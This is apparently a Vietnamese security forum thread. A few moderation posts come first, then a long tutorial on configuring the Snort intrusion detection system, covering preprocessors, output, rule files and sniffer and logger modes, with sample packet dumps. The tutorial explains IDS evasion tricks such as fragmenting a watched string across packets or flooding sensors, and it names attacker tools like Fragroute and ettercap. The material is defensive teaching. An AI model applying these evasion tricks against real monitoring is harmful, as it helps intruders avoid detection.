|
|
Đây là các câu hỏi chứ không còn là trao đổi nữa, có vẻ như quá nhiều nhỉ?
Sẽ mất thời gian để mổ sẻ nhưng nếu để ăn sổi kiểu hạ gục càng nhanh càng tốt thì mình cũng không biết
|
|
|
Private IP là dãy IP được dùng trong mạng LAN :
10.0.0.x
172.16.0.0 172.31.255.255
192.168.x.x
Dãy IP này không có thực trên Internet.
Private IP Address:
Lớp A: 10.0.0.0 ---> 10.255.255.255
Lớp B: 172.16.0.0 ---> 172.31.255.255
Lớp C: 192.168.0.0 ---> 192.168.255.255
|
|
|
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy.
|
|
|
Chủ đề chệch hướng rồi.
Lock vào nhá các đồng chí.
|
|
|
Thay mặt admin, rất tiếc không đáp ứng được yêu cầu của bạn.
Mong bạn vui lòng sử dụng account mới.
|
|
|
FF cho Windows thì không gõ được.
Anh conmale chắc dùng FF trên Linux.
|
|
|
Nếu các Reply không có tính chất xây dựng bài viết trong các box Kỹ Thuật thì tôi sẽ xóa đấy.
|
|
|
Bình đẳng hết, Không ai còn được gọi là "có chức vụ" gì nữa
|
|
|
Bài viết có tính chất tham khảo của bạn Hackett từ lâu rồi.
|
|
|
2.4.3 Cấu hình tiền xử lý (preprocessor)
Tiền xử lý phục vụ cho nhiều mục đích. Nó “bình thường hoá” traffic cho các services, để chắc chắn rằng dữ liệu trong các packet Snort đang theo dõi sẽ có cơ hội tốt nhất để so sánh với các tín hiệu nhận dạng (signatures ) mà Snort đuợc trang bị. Chức năng khác của quá trình tiền xử lý là tự phòng thủ. Các cuộc tấn công được phát triển để lẩn tránh hoặc làm tràn ngập NIDS sensor, vì thế attacker có thể lợi dụng làm những công việc mình cần. Chức năng frag2 và stream4 tiền xử lý có chức năng chính để chống lại các phương pháp này.
Và chức năng cuối cùng cũng là chức năng quan trọng nhất là làm cho Snort có thêm chút thông minh để phát hiện ra các cuộc tấn công mang phong cách không bình thuờng mà Snort không được trang bị trong rules.
Mô hình các gói tin đi vào ở mode preprocessor
2.4.3.1 FLOW
Flow preprocessor có một module là flow-portscan. Flow theo dõi tất cả traffic và giữ các track kết nối giữa hệ thống và port lạ, khi có 1 flow lạ mới thông tin sẽ chuyển qua hash (làm cho các track nhỏ hơn , nhanh hơn trong tracking các địa chỉ IP và PORTS) được lưu trữ trong bảng bộ nhớ dành sẵn. Các option cho flow preprocessor
Memcap
Chỉ định mức tối đa cho bộ nhớ khi tracking, mặc định là 10MB, thông số này để điều khỉên bộ nhớ của Snort khi cần
Rows
Chỉ định số dòng trên bảng hash, mặc định là 4,099 dòng
Stats_interval
Có thể chuyển tình trạng của flow preprocessor qua stdout, giá trị là một số nguyên đại diện cho thời gian tính bằng giây (s) , rất hữu ích khi dùng cho mục đích test
Hash
Phương pháp sử dụng hash thông tin vào bảng, có thể set hash có giá trị là 1 (byte) hoặc 2 (số nguyên ) dùng hash 2 nhanh hơn
Đây là cấu hình khuyên của các nhà phát triên dùng cho flow:
Preprocessor flow: stats_interval 0 hash 2
2.4.3.2 frag2
Khi một packet đi từ mạng này qua mạng khác, nó thường cần phân mảnh thành các packet nhỏ hơn, bởi vì mạng thứ 2 sẽ giới hạn kích thuớc của packet và tất nhiên nhỏ hơn mạng đầu tiên. Và tất cả các packet nhỏ sẽ đuợc sắp xếp lại khi đến nơi. Một trong những phương pháp của attacker là dùng các packet nhỏ để lừa firewall hoặc IDS. Ví dụ: rules của Snort đang dò tìm chuỗi /users.pwd trong các section của packet, một attacker có thể tạo ra một dãy các packet rất nhỏ chỉ chứa vài byte trong data của packet, mảnh đầu tiên có thể chứa /user , và cái packet phân mảnh thứ 2 có thể chứa s.pwd, các packet này sẽ không kích hoạt báo động bởi vì nó không giống các rules nào cả, frag2 preprocessor sẽ sắp xếp sự phân mảnh này vào chung và nó sẽ dễ dàng phát hiện sự ẩn dấu đó. Hoặc một ví dụ khác các attacker có thể đưa ra 1 dung lượng quá lớn các packet đã phân mảnh nó sẽ chiếm dung lưonng của hệ thống và làm overload có thể Snort sẽ từ chối tất cả và ảnh hưởng tới các packet không liên quan, các tools mà attacker thường dùng là Fragroute, frag2 có các options để chống lại các dạng tấn công này
Timeout:
Số dây trước khi tắt các sension để flush lại bộ nhớ, mặc định là 60s
Memcap
Số luợng bytes của memory set aside, mặc định là 4MB
Detect_state_problems
Bật chức năng báo động khi phát hiện điều kiện không bình thường trong các packet phân mảnh, nó nên được bật cho hầu hết các trường hợp
Min_ttl
Thiết lập time to live (TTL) tối thiểu đuợc chấp nhận của tiền xử lý, mặc định là 0
Ttl_limit
Thiết lập ttl maximum, nó không nên quá lớn ,mặc định là 5
Thiết lập khuyến cáo nên dùng:
Preprocessor frag2
2.4.3.3 stream4
stream4 được thiết kế để bảo vệ Snort từ 1 dạng tấn công mới của attacker tới các NIDS sensor bằng cách gửi tràn ngập các packet chứa các chuỗi dữ liệu giống như trong rules để kích các báo động, cũng có khá nhiều tools dùng cho việc này nhưng Snort của có cách chống lại.
stream4 có 2 nhiệm vụ chính: sateful inspection ( kiểm tra tính nguyên ven ), awareness and session reassembly ( nhận biết và sắp xếp các session )
Các option của stream4
Detect_scans
Mặc định là tắt. nó sẽ báo động khi phát hiện các tools scan ports
Detect_state_problems
Mặc định tắt. sẽ báo động khi có vấn đề về tình trạng của cuộc thoại bị phát hiện
Disable_evasion_alerts
Cũng mặc định tắt luôn. nếu bật nó có thể phát hiện attacker đang cố gắng từ chối IDS bằng cách gởi các packet đuơc sắp xếp lộn xộn, hoặc các packet là SYN trong data
Min_ttl
Thiết lập thời gian sống ít nhất để chấp nhận các packet vào stream4 preprocessor
Ttl_limit
Giống như trong phần của frag2
keepstats [machine, binary]
Mặc định tắt, nếu bật nó sẽ hiển thị tình trạng các senssion đã theo dõi ở 2 chế độ machine là text file, định dạng binary và dùng tools barnyard để thống nhất
Noinspect
Mặc định cũng off. tắt chức năng statefull inspection của tất cả các packets
Ta có thể tham khảo về các tiến trình stateful ở hình này
Timeout mặc định là 30s
log_flushed_streams
Nếu một packet đang bị theo dõi và là nguyên nhân gây ra báo động, ta có thể dump session này và lưu thông tin từ stream4 vào đĩa cứng
Memcap
Giống phần frag2
Đây là câu lệnh khuyến cáo nên dùng
preprocessor stream4: detect scans, disable_evasion_alerts, timeout 60, ttl_limit 10
2.4.3.4 stream4_reassemble
Snort phản hồi những chuỗi kí tự nó đọc đuợc trong các gói tin đi qua nếu nó trùng với các kí tự nhận dạng trong signatures. Nếu attacker có thể phân chia các kí tự thành nhiều gói tin để tránh báo động của Snort, stream4_reassemble đóng vài trò sắp xếp lại các traffic giữa 2 hệ thống đàm thoại ( conversation ) của network, gia tăng khả năng match các signatures
Các conversation network thường là các chương trình dùng bằng command line như Telnet, Ftp, Smtp có thể là các nguyên nhân nội dung của các packet lọt qua được hệ thống. Reassemble các traffic các services này là cần thiết để ngăn chặn các báo động lầm hoặc bỏ sót.
Một kĩ thuật khác của attacker là nhúng các gói tin với các kí tự gây lỗi, reassemble vẫn có thể phát hiện được
Các option của reassemble
Clientonly
Chỉ bật chức năng này trên client
Serveronly
Chỉ bật chức năng này trên server
Both
Bật trên cả server và client
Noalerts
Chế độ báo động vẫn hoạt động nhưng chỉ tắt chức năng reassembly
Ports [list]
Chỉ định những ports cụ thể để reassembly
Câu lệnh khuyên dùng:
Preprocessor stream4_reassemble: both
2.4.3.5 Tiền xử lý các http inspect
Có nhiều cách thông tin có thể định dạng sang các http session và cũng có nhiều loại khác nhau biểu diễn các thông tin như là các http session như multimedia, .xml, .HTML, .asp, .php, .java,….và kết quả Snort phải “massage” nội dung của các HTTP conversation để định dạng lại data phục vụ cho quá trình phát hiện tốt nhất
Có 2 kiểu cấu hình http_inspect là global và server. Global ảnh huởng trực tiếp tới http traffic ,cấu hình Server chứa các phần setting cho 1 máy server và các group servers như vậy, cái này rất thường dùng để cấu hình cho web server dùng apache hoặc IIS
http_inspect ( global )
Có 3 option trong phần này dùng để config http traffic:
iis_unicode_map <filename> [codemap <interger]
Chỉ đuờng dẫn tới map file unicode.map. Nó sẽ chỉ cho bộ tiền xử lý biết làm cách nào để map các kí tự unicode sang ASCII dạng text đê match các signatures. Ta phải chỉ ra code dể map ví dụ 1252 là latin code
detect_anomalous_servers
Sẽ báo động khi gặp các ports lạ không tiêu chuẩn. thường không bật chế độ này
proxy_alert
Nếu bạn sử dụng proxy server cho các internet user, bật chức năng này để giám sát các user không dùng proxy để kết nối internet
Đề nghị setting cho mode này:
preprocessor http_inspect: global iis_unicode_map unicode.map 1252
http_inspect_server
Có thể dùng option này cho servers bất kì hoặc các servers trong môi truờng làm việc của mình. hầu hết các administrator đều dùng 1 server riêng dùng cho IIS và cái khác dùng Apache servers. Trong phần trình bày này sẽ có ví dụ cụ thể.
Có 2 kiều cấu hình cho http_inspetct_server là “default” và “by IP address”, kiểu “default” chỉ cấu hình cho tất cả web traffic không liên quan gì đến IP address, còn kiểu “IP address” chỉ cấu hình cho các IP đựơc chỉ định hoặc 1 dãy các IP. Có các option là:
Default hoặc < IP address >
Như đã trình bày ở trên
Profile <all | apache | iis >
Có thể dùng apache hoặc chỉ dùng cho iis ta cũng có thể dùng all cho cả 2. Các bảng sau sẽ trình bày cụ thể của profile khi dùng từng loại
Bảng setting cho profile "all"
Option Setting
flow_depth 300
chunk_encoding Báo động khi các chunks lớn hơn 500,000 bytes
lis_unicode_map Map sử dụng cho mode globle
ascii No
non_refc_char On
multi_slash No
directory No
apache_whitespace Yes
double_decode Yes
j_encode Yes
bare_byte Yes
lis_unicode Yes
lis_backslash No
lis_delimiter Yes
Bảng setting cho profile "apache"
Option Setting
flow_depth 300
chunk_encoding Báo động khi các chunks lớn hơn 500,000 bytes
ascii No
non_rfc_char On
multi_slash No
directory No
apache_whitespace Yes
Bảng setting cho profile "iis"
Option Setting
flow_depth 300
lis_unicode_map Map sử dụng cho mode globle
ascii No
multi_slash No
directory No
double-decode Yes
u_encode Yes
bare_byte Yes
lis_unicode Yes
lis_backslash No
lis_delimiter Yes
apache_whitespace Yes
utf_8 No
non_strict On
Đây là phần cấu hình mặc định cho http_inspect_server:
Preprocessor http_inspect_server: server default profile all ports {80 8080 }
Đây là phần cấu hình cho IIS server http_inspect_server :
Preprocessor http_inspect_server: server 10.10.10.33 profile iis ports { 80 8080 }
Còn đây là cấu hình điển hình cho Apache server:
Preprocessor http_inspect_server 10.1.1.125 profile apache ports { 80 8080 }
2.4.3.6 rpc_decode
RPC’s traffic có thể phân chia ra nhiều packet và mã hoá theo nhiều kiểu khác nhau. Rpc_decode preprocessor sẽ bình thường hoá các traffic này cũng chỉ mục đích giúp nhận diện tốt hơn trong singnatures list. List của các ports mà RPC services đang chạy đuợc cung cấp trong các dòng cấu hình. Ở đây có 4 options cho rpc_decode
Alert_fragments
Báo động khi có fragmented RPC traffic
No_alert_multiple_requests
Không báo động khi nhiều hơn một RPC request đuợc chứa trong một packet.
No_alert_large_fragments
RPC fragments có thể lớn hơn size của các fragment hiện hành. Nếu bạn tìm lỗi xác thực, ta phải dùng chức năng này để disable
No_alert_incomplete
RPC messages có thể rất lớn, có khi nó lớn hơn có MTU của mạng nó đang đi qua, nó có thể gây nhiều lỗi cho các RPC network services. Có thể tắt chức năng này để phát hiện lỗi
Đây là đề nghị config rpc_decode
Preprocessor rpc_decode: 111 32771 1024
2.4.3.7 bo
Bo- Back orifice con virust nổi tiếng của các hacker trong các năm qua, dùng để điều khiển từ xa các client bị nhiễm nó, Snort có option để ngăn chặn điều này và phát hiện khá dễ dàng chỉ bằng một dòng lệnh ngắn gọn.
Preprocessor bo
2.4.3.8 telnet_decode
Dùng chức năng này để bình thuờng hoá các kí tự ,chuổi không tiêu chuẩn , lạ của traffic FTP và telnet cũng đơn giản dùng 1 câu lệnh đơn giản.
Preprocessor telnet_decode
2.4.3.9 flow-portscan
Flow-portscan thay thế portscan2 nó nhiều chức năng hơn và mạnh hơn. Có 3 components cơ bản cho flow-portscan
Scoreboards
Nó phát hiện đuợc 2 loại khác nhau của host , talker và scanner. Talker là tất cả các host đang active trong mạng. còn scanner là host đang connection tới 1 port trên server ở trong mạng
Uniqueness tracker
Theo dõi nếu có duy nhất 1 kết nối
Server statistics tracker
Sử dụng để theo dõi thời gian của các service trên các server nhằm theo dõi các kết nối
Để phát hiện các attacker scan port rất khó vì hacker có thể dùng nhiều cách khác nhau:
Sau đây là các option ta có thể dùng để nâng cao hiệu quả của flow-portscan
scoreboard-memcap-talker < bytes>
scoreboard-rows-talker < count>
scoreboard-rows-scanner < count>
scoreboard-memcap-scanner < bytes>
scanner-fixed-threshold < integer>
scanner-sliding-threshold < integer>
scanner-fixed-window < integer>
scanner-sliding-window < integer>
scanner-sliding-scale-factor < float>
talker-fixed-threshold < integer>
talker-sliding-threshold < integer>
talker-fixed-window < integer>
talker-sliding-window < integer>
talker-sliding-scale-factor < float>
unique-memcap < bytes>
unique-rows < integer>
server-memcap < bytes>
server-rows < integer>
server-watchnet < ip list in Snort notation>
src-ignore-net < ip list in Snort notation>
dst-ignore-net < ip list in Snort notation>
tcp-penalties <on|off>
server-learning-time < seconds>
server-ignore-limit < hit count>
server-scanner-limit < hit count>
alert-mode <once|all>
output-mode <msg|pktkludge>
base-score < integer>
dumpall <1>
Đây là dòng cấu hình mẫu cho flow-portscan
preprocessor flow-portscan: server-watchnet [10.10.10.0/24,10.10.20.0/24]
2.4.3.10 arpspoof
Arpspoof được thiết kế cho preprocessor dể detech các hoạt động spoof arp bất hợp pháp trên local nétwork. Các hacker dùng các tools man-in-the-middle attacks như ettercap hoặc arpspoof để nghe trộm giữa các máy trong mạng nội bộ. để cấu hình administrator phải biết địa chỉ MAC của card mạng, điều này thì quá dễ dàng:
Sau đây là cấu hình đề nghị:
# preprocessor arpspoof
# preprocessor arpspoof_detect_host: 192.168.1.1 F0:AB:GH:10:12:53
2.4.3.11 perfmonitor
Một trong những khả năng rất hay của Snort là monitor tình trạng hiện tại của hể điều hành các thông số nó thể hiện nêu lên nhiều ý nghĩa mà dựa vào đó ta có thể đoán được nhiều đìều và đưa ra nhiều biện pháp điều chỉnh theo ý muốn, các thông số Snort monitor
Packets received
Packets dropped
Percentage of packets dropped
Packets Received
Kpackets per second
Average bytes per packets
Mbits per second (wire)
Mbits per second (rebuilt) (Mbits trung bình Snort nhúng vào sau khi rebuil các packet)
Mbits per second (total)
Pattern-matching percent (Phần trăm dữ liệu average percent of data received that Snort processes
in pattern matching)
CPU usage (user time, system time, idle time)
Alerts per second
SYN packets per second
SYN/ACK packet per second
New sessions per second
Deleted sessions per second
Total sessions
Max sessions during time interval
Stream flushes per second
Stream faults per second
Stream timeouts
Frag completes per second
Frag inserts per second
Frag deletes per second
Frag flushes per second
Frag timeouts
Frag faults
Khi dùng thêm từ “flow” , nó sẽ hiển thị tình trạng các traffic của protocal mà Snort dang soi, dùng “event” Snort sẽ mở chức năng reporting và hiển thị trạng thái số lượng signatures match, dùng từ “max” sẽ kích hoạt Snort hoạt động hết sức để nâng cao hiệu quả, dùng tư “pktcnt” điều chỉnh số lượng packets đang thực thi trước khi check thời gian sample mặc định set là 10,000.
Ví dụ config và bật chức năng perfmonitor preprocessor:
Preprocessor perfmonitor : time 30 events flow file stats.profile max console pktcnt 10000
Preprocessor perfmonitor: time 30 file /var/tmp/Snortstat pktcnt 10000
2.4.4 Cấu hình OUTPUT
Snort có thể output vào các file log hoặc output ra console, nhiều administrator thích dùng các phần mềm của hãng thứ 3 (third party ) để tăng thêm chức năng giám sát của Snort, các phần mềm data database đều có thể dùng được, lưu ý trước khi cài đặt Snort muốn dùng database nào thì cần chỉ rõ khi cài đặt ví dùng dùng MySQL , khi biên dịch source thêm vào - -mysql
ví dụ: ./configure - - mysql
2.4.4.1 alert_syslog
Output cấu hình theo kiểu
Output alert_syslog : <facility> <priority>
Các option sau là một trong nhưng syslog chuẩn và syslog mặc định là
LOG_AUTH
LOG_AUTH
LOG_AUTHPRIV
LOG_DAEMON
LOG_LOCAL0
LOG_LOCAL1
LOG_LOCAL2
LOG_LOCAL3
LOG_LOCAL4
LOG_LOCAL5
LOG_LOCAL6
LOG_LOCAL7
LOG_USER
Các option ưu tiên sau cũng là các syslog ưu tiên chuẩn, mặc định là LOG_ALERT
LOG_EMERG
LOG_ALERT
LOG_CRIT
LOG_ERR
LOG_WARNING
LOG_NOTICE
LOG_INFO
LOG_DEBUG
Đây là câu cấu hình mẫu cho alert_syslog
output alert_syslog: LOG_AUTH LOG_ALERT
và câu lệnh này dành cho bản windows của Snort nhìn vào cũng dễ hiểu
output alert_syslog: host=192.168.1.100:80 LOG_AUTH LOG_ALERT
2.4.4.2 log_tcpdump
Log này sẽ định dạng sang dạng log_tcpdump, do có rất nhiều phần mềm có thể đọc được dạng log này, khi log sẽ có timestamp đính vào file name
ví dụ: câu lệnh cấu hình
output log_tcpdump /var/log/Snort/tcpdump.out
2.4.4.3 database
Khi log vào database , một khối luơng lớn thông tin của Snort sẽ được lưu trữ như các báo động (alert) , các host liên quan, các packet gây ra báo động, và ta dễ dàng log các báo động thật sự và các báo động lỗi, sai nhanh và nhiều hơn
Đôi khi log vào database cũng quá tải gây ra hiện tượng thắt cổ chai dẫn đến 1 alert chỉ có thể được log trong một thời gian. Và phương pháp cấu hình Snort làm sao hợp lý nhất là các kinh nghiệm của các admin sau này ví dụ có thể dùng tuning hoặc thresholding để tạo hiệu quả hơn.
Cấu trúc của câu lệnh output ra database
output database: <log | alert>,<database type>,<parameter list>
Câu lệnh trên nhìn vào ta có thể hiểu ngay được ý nghĩa của nó, còn <parameter list> bao gồm các phần sau :
host
Địa chỉ IP của database server
port
Port của database đang lắng nghe
dbname=<database name>
Loại database ta đang logging
user
username Snort sử dụng để log trong database
password
Tất nhiên là có user phải có pass để vào rồi
sensor_name
Tên của sensor cấu hình, có thể thểm -I trong command line sử dụng IP address thay cho tên
encoding
Sử dụng mã hoá để log vào database, ví dụ kiểu hex,base64,ascii và khuyên dùng ascii
detail
Có thể chỉ định details level nào log vào database, ví dụ dùng full,fast và full được khuyên dùng nhất
Với các loại database cụ thể ta phải biên dịch cho đúng khi cài đặt như đã nói phần trước
CODEMySQL
./configure - -with-mysql
POSTGRESQL
./configure - -with-postresql
ODBC
./configure - -with-odbc
MSSQL
Chỉ dùng cho bản windown, dùng odbc để log vào MSMSQL server
ORACLE
./configure - -with-oracle
và các log khác ta sẽ coi trong phần khuyến cáo của database kèm theo
2.4.5 File Inclusion
Trong file Snort.conf, câu lệnh include chỉ cho Snort đọc các file sau từ include được lưu trong filesystem của Snort sensor, giống như trong lập trình vậy
ví dụ :
$ include $RULE_PATH/bad-traffic.rules
$ include $RULE_PATH/exploit.rules
$ include $RULE_PATH/scan.rules
Các rules trên ta có thể download trên internet, khi down về ta muốn phân nhóm hoặc chỉnh sửa,độ ưu tiên các rules ta có thể cấu hình trong file classification.config, file reference.config gồm các links tới web site với các thông tin cho tất cả các alerts, include nó rất hữu tích , nhanh gọn
ví dụ:
# include classification & priority settings
include classification.config
# include reference systems
include reference.config
channhua - HVA
|
|
|
2.3.1 Snort là một Sniffer
Snort rất dễ dàng sử dụng để sniff và ta cũng dễ dàng nhìn ra các thông tin từ các packet captured. Một đặc tính rất hay của Snort là bảng tóm tắt về traffic của mạng trong phần cuối của bảng capture nó rất hữu ích cho Adminstrator để troubleshooting mạng của mình.
Bật chức năng Sniffer bằng cờ -v:
Snort –v
Running in packet dump mode
Log directory = /var/log/Snort
Initializing Network Interface eth0
--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface eth0
--== Initialization Complete ==--
-*> Snort! <*-
Version 2.1.x (Build 72)
By Martin Roesch (roesch@sourcefire.com, www.Snort.org)
06/24-11:19:32.257859 64.147.136.193:3131 -> 192.168.0.15:9100
TCP TTL:128 TOS:0x0 ID:21742 IpLen:20 DgmLen:48 DF
******S* Seq: 0x5DB36D37 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:19:32.261606 64.147.136.5 -> 224.0.0.10
EIGRP TTL:2 TOS:0x0 ID:0 IpLen:20 DgmLen:60
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:19:34.470931 64.147.136.1 -> 224.0.0.10
EIGRP TTL:2 TOS:0xC0 ID:0 IpLen:20 DgmLen:60
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:19:34.482799 64.147.136.1 -> 224.0.0.10
EIGRP TTL:2 TOS:0xC0 ID:0 IpLen:20 DgmLen:60
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
===========================================================================
Snort analyzed 38 out of 38 packets, dropping 0(0.000%) packets
Breakdown by protocol: Action Stats:
TCP: 1 (2.632%) ALERTS: 0
UDP: 0 (0.000%) LOGGED: 0
ICMP: 0 (0.000%) PASSED: 0
ARP: 0 (0.000%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
IPX: 0 (0.000%)
OTHER: 37 (97.368%)
DISCARD: 0 (0.000%)
===========================================================================
Wireless Stats:
Breakdown by type:
Management Packets: 0 (0.000%)
Control Packets: 0 (0.000%)
Data Packets: 0 (0.000%)
===========================================================================
Fragmentation Stats:
Fragmented IP Packets: 0 (0.000%)
Fragment Trackers: 0
Rebuilt IP Packets: 0
Frag elements used: 0
Discarded(incomplete): 0
Discarded(timeout): 0
Frag2 memory faults: 0
===========================================================================
TCP Stream Reassembly Stats:
TCP Packets Used: 0 (0.000%)
Stream Trackers: 0
Stream flushes: 0
Segments used: 0
Stream4 Memory Faults: 0
===========================================================================
Snort exiting
Trong phần đầu Snort sẽ hiển thị đang chạy ở mode nào, thư mục chứa log, interface nào đang lắng nghe. Khi bắt đầu chạy và bắt gói tin hiển thị lên màn hình. Phần hiển thị ra chỉ ở mức độ đơn giản, nó chỉ hiện thị ip và TCP/UDP/ICMP headers và 1 số ít khác. Để thoát khỏi chế độ sniffer bấm CTRL - C Snort sẽ thoát hiển thị bảng tóm tắt tổng hợp về các packet bao gồm các protocols, tình trạng packet fragmentation, dòng dữ liệu tập hợp. Để xem ở tầng application ta sử dụng cờ -d thên vào sau:
#Snort –vd
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:27:35.408290 ARP who-has 64.147.136.1 tell 64.147.136.144
06/24-11:27:35.408860 64.147.136.144:50507 -> 64.147.130.2:53
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:57 DF
Len: 29
E8 0A 01 00 00 01 00 00 00 00 00 00 03 6E 73 31 .............ns1
03 6B 73 6C 03 63 6F 6D 00 00 01 00 01 .ksl.com.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:27:35.408838 ARP reply 64.147.136.1 is-at 00:BC:ED:15:E4
06/24-11:27:35.409465 64.147.130.2:53 -> 64.147.136.144:50507
UDP TTL:63 TOS:0x0 ID:0 IpLen:20 DgmLen:121 DF
Len: 93
E8 0A 85 80 00 01 00 01 00 02 00 01 03 6E 73 31 .............ns1
03 6B 73 6C 03 63 6F 6D 00 00 01 00 01 C0 0C 00 .ksl.com........
01 00 01 00 00 70 80 00 04 40 93 82 02 C0 10 00 .....p...@......
02 00 01 00 00 70 80 00 02 C0 0C C0 10 00 02 00 .....p..........
01 00 00 70 80 00 06 03 6E 73 32 C0 10 C0 47 00 ...p....ns2...G.
01 00 01 00 00 70 80 00 04 40 93 82 03 .....p...@...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Để xem chi tiết hơn và kết quả giống như tcpdump gồm cả phần header của lớp data link và cả tầng application, sử dụng với cờ -e
#Snort –vde
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:34:00.840645 0:8:74:F3:CC:F9 -> 00:BC:ED:15:E4 type:0x800 len:0x47
64.147.136.144:50507 -> 64.147.130.2:53 UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:57 DF
Len: 29
28 BF 01 00 00 01 00 00 00 00 00 00 03 6E 73 31 (............ns1
03 6B 73 6C 03 63 6F 6D 00 00 01 00 01 .ksl.com.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/24-11:34:00.841157 00:BC:ED:15:E4 -> 0:8:74:F3:CC:F9 type:0x800 len:0x87
64.147.130.2:53 -> 64.147.136.144:50507 UDP TTL:63 TOS:0x0 ID:0 IpLen:20 DgmLen:121 DF
Len: 93
28 BF 85 80 00 01 00 01 00 02 00 01 03 6E 73 31 (............ns1
03 6B 73 6C 03 63 6F 6D 00 00 01 00 01 C0 0C 00 .ksl.com........
01 00 01 00 00 70 80 00 04 40 93 82 02 C0 10 00 .....p...@......
02 00 01 00 00 70 80 00 02 C0 0C C0 10 00 02 00 .....p..........
01 00 00 70 80 00 06 03 6E 73 32 C0 10 C0 47 00 ...p....ns2...G.
01 00 01 00 00 70 80 00 04 40 93 82 03 .....p...@...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Các thông tin hiển thị với dạng hex. địa chỉ MAC được ẩn, chỉ thấy được địa chỉ IP. Khi chỉ cần test mạng, hoặc đơn giản thử sử dụng để capture dữ liệu trên Snort thì sử dụng với –vde đã hiển thị gần như đầy đủ các thông tin.
Với nhiều mạng lơn có lưu luợng thông tin cao, khi bắt gói tin với Snort nó sẽ hiển thị rất nhanh và có thể ta theo dõi không kịp, để giải quyết vần đề trên ta có thể lưu nó vào trong log file với câu lệnh đơn giản Snort –dev >temp.log
Đây là vài lựa chọn trong mode sniffer của Snort:
-v Đưa ra packet headers trong phần output
-d Hiển thị packet payload
-a Hiển thị ARP packets
-e Hiển thị dữ liệu lớp data link
Mô hình minh hoạ sniffing của snort
2.3.2 Snort là một packet logger
Phần tiếp theo sau khi bắt gói tin là lưu chúng lại vào trong log, để log chỉ đơn giản them cờ -l vào sau đó chỉ đường dẫn thư mục cần log. Mặc định nó sẽ log ở thư mục /var/log/Snort . Nếu ta chỉ định thư mục log mà không tồn tại nó sẽ báo lỗi. Ví dụ câu lệnh sau đây để log
#Snort –l /usr/local/log/Snort –d
Khi chạy ở chế độ này, Snort sẽ tập hợp tất cả các packet nó thấy được và đưa vào log theo cấu trúc phân tầng. Nói cách khác, 1 thư mục mới sẽ được tạo ra ứng với mỗi địa chỉ nó bắt đựơc, và dữ liệu sẽ phụ thuộc vào địa chỉ mà nó lưu trong thư mục đó. Snort đặt các packet vào trong files ASCII, với tên liên quan tới protocol và port. Sự sắp xếp này dễ dàng nhận ra ai đang connect vào network của mình và protocol và port nào đang sử dụng, đơn giản sử dụng ls - R hoặc (dir /s trong windows) để hiện danh sách các thư mục.Tuy nhiên sự phân cấp này sẽ tạo ra nhiều thư mục trong giờ cao điểm , thật khó có thể coi hết với hàng đống thư mục và files này. Nếu ai đó có ý định dùng chế độ full scan toàn mạng với 65536 Tcp ports và 65535 Udp ports, và sẽ tạo ra 131000 hoặc hơn từng ấy file như thế trong 1 thư mục , để xem hết đống này thì dùng thêm vài viên thuốc đau đầu nữa.
Log với dạng nhị phân (binary) tất cả những gì có thể đọc được bời Snort, nó làm tăng đốc độ khả năng bắt gói tin của Snort. Hầu hết các hệ thống có thể capture và log ở tốc độ 100Mbps mà không có vấn đề gì.
Để log packet ở chế độ nhị phân, sự dụng cờ -b.
#Snort -b -l /usr/local/log/Snort/temp.log
Khi đã capture, ta có thể đọc lại file mới vừa tạo ra ngay với cỡ -r và phần hiển thị giống như ở mode sniffer
#Snort -r /usr/local/log/Snort/temp.log
Trong phần này Snort không giới hạn để dọc các file binary trong chế độ sniffer. Ta có thể chạy Snort ở chế độ NIDS với việc set các rules hoặc filters để tìm những traffic nghi ngờ
2.3.3 Snort là NIDS:
Trong khi Snort là sniffer tốt nó còn là 1 tools rất xuất sắc trong phát hiện xâm nhập. Khi sử dụng như NIDS, Snort cung gần thời gian thực nhất về khả năng xâm nhập. Ta sẽ trãi qua nhiều thời gian để tìm hiểu nhiều cách khác nhau về Snort với chức năng NIDS và các option của nó
2.2.3.1 Lấy những rules mới nhất
Ta thường lưu các rules ở vị trí nào đó có thể dễ dang theo dõi và thay đổi ngay lập tức khi cần, ví dụ ta tạo 1 thư mục để chứa các rules /usr/local/share, trong thư mục này ta sẽ tạo nhiều thư mục con với tháng và năm ví dụ November_2005 và khi update các rules ta lưu nó vào các vị trí đã tạo sẵn đó
Nếu sử dụng Snort version là 2.4.3 ta có thể download những rules mới nhất từ địa chỉ
http://www.Snort.org/dl/rules/Snortrules-snapshot-2.4.tar.gz
